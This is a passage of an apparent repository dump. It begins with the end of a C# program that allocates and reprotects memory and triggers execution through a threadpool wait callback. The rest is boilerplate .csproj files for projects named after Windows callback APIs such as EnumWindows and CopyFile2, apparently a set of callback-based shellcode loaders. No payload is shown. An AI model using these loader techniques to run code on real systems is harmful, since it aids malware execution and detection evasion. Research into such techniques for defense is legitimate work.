40 | throw new Exception("Failed to create thread pool wait object. Error: " + Marshal.GetLastWin32Error());
41 | }
42 |
43 | SetThreadpoolWait(ptp_w, hEvent, IntPtr.Zero);
44 |
45 | // Need to send events so the Threadpool Wait Callback has a chance to "catch" them and run.
46 | if (!SetEvent(hEvent))
47 | {
48 | throw new Exception("Failed to set event. Error: " + Marshal.GetLastWin32Error());
49 | }
50 |
51 | WaitForThreadpoolWaitCallbacks(ptp_w, false);
52 |
53 | if (!SetEvent(hEvent))
54 | {
55 | throw new Exception("Failed to set event. Error: " + Marshal.GetLastWin32Error());
56 | }
57 |
58 | }
59 |
60 | [DllImport("kernel32.dll")]
61 | static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName);
62 |
63 | [DllImport("kernel32.dll", SetLastError = true)]
64 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
65 |
66 | [DllImport("kernel32.dll", SetLastError = true)]
67 | static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
68 |
69 | [DllImport("kernel32.dll", SetLastError = true)]
70 | static extern IntPtr CreateThreadpoolWait(IntPtr addr, IntPtr pv, IntPtr pc);
71 |
72 | [DllImport("kernel32.dll", SetLastError = true)]
73 | static extern void SetThreadpoolWait(IntPtr pwa, IntPtr h, IntPtr pftTimeout);
74 |
75 | [DllImport("kernel32.dll", SetLastError = true)]
76 | static extern void WaitForThreadpoolWaitCallbacks(IntPtr pwa, bool fCancelPendingCallbacks);
77 |
78 | [DllImport("kernel32.dll")]
79 | static extern bool SetEvent(IntPtr hEvent);
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/LineDDA/LineDDA/LineDDA.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {5C806A79-393D-465A-A0F7-9456B0D31D39}
8 | Exe
9 | LineDDA
10 | LineDDA
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/SetTimer/SetTimer/SetTimer.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {E7C28702-F2CF-45DE-87E6-6C1497533769}
8 | Exe
9 | SetTimer
10 | SetTimer
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/CopyFile2/CopyFile2/CopyFile2.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}
8 | Exe
9 | CopyFile2
10 | CopyFile2
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EnumFontsW/EnumFontsW/EnumFontsW.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}
8 | Exe
9 | EnumFontsW
10 | EnumFontsW
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EnumDirTree/EnumDirTree/EnumDirTree.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}
8 | Exe
9 | EnumDirTree
10 | EnumDirTree
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EnumObjects/EnumObjects/EnumObjects.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}
8 | Exe
9 | EnumObjects
10 | EnumObjects
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EnumWindows/EnumWindows/EnumWindows.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}
8 | Exe
9 | EnumWindows
10 | EnumWindows
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/GrayStringW/GrayStringW/GrayStringW.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {5B6F1100-D426-4AC0-A47C-88DA2470D7C0}
8 | Exe
9 | GrayStringW
10 | GrayStringW
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EnumDesktopsW/EnumDesktopsW/EnumDesktopsW.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {9DF9DC88-9208-444E-AF4B-DF6A9FE72982}
8 | Exe
9 | EnumDesktopsW
10 | EnumDesktopsW
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EnumPageFilesW/EnumPageFilesW/EnumPageFilesW.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {169E0A75-A977-4727-8B9E-EACBA8341199}
8 | Exe
9 | EnumPageFilesW
10 | EnumPageFilesW
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EnumPwrSchemes/EnumPwrSchemes/EnumPwrSchemes.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {FA9DB3CB-A889-4A61-91B9-735EE2FB5204}
8 | Exe
9 | EnumPwrSchemes
10 | EnumPwrSchemes
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/CallWindowProcW/CallWindowProcW/CallWindowProcW.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {26E11E65-DC63-49B1-9776-BA40B09CC53A}
8 | Exe
9 | CallWindowProcW
10 | CallWindowProcW
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EnumSystemGeoID/EnumSystemGeoID/EnumSystemGeoID.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {E52F7377-1D34-45FA-8F70-6C1723F3C5F6}
8 | Exe
9 | EnumSystemGeoID
10 | EnumSystemGeoID
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/CryptEnumOIDInfo/CryptEnumOIDInfo/CryptEnumOIDInfo.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {C049D4A4-673C-4C98-8812-B66D507CB6BE}
8 | Exe
9 | CryptEnumOIDInfo
10 | CryptEnumOIDInfo
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EnumCalendarInfo/EnumCalendarInfo/EnumCalendarInfo.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {FC731635-4DDE-4566-B9E5-9231561C0EC5}
8 | Exe
9 | EnumCalendarInfo
10 | EnumCalendarInfo
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/EnumChildWindows/EnumChildWindows/EnumChildWindows.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {87FCBA3B-29BE-472B-B944-E4EBF35B1468}
8 | Exe
9 | EnumChildWindows
10 | EnumChildWindows
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | true
37 | bin\x64\Debug\
38 | DEBUG;TRACE
39 | full
40 | x64
41 | 7.3
42 | prompt
43 | true
44 |
45 |
46 | bin\x64\Release\
47 | TRACE
48 | true
49 | pdbonly
50 | x64
51 | 7.3
52 | prompt
53 | true
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------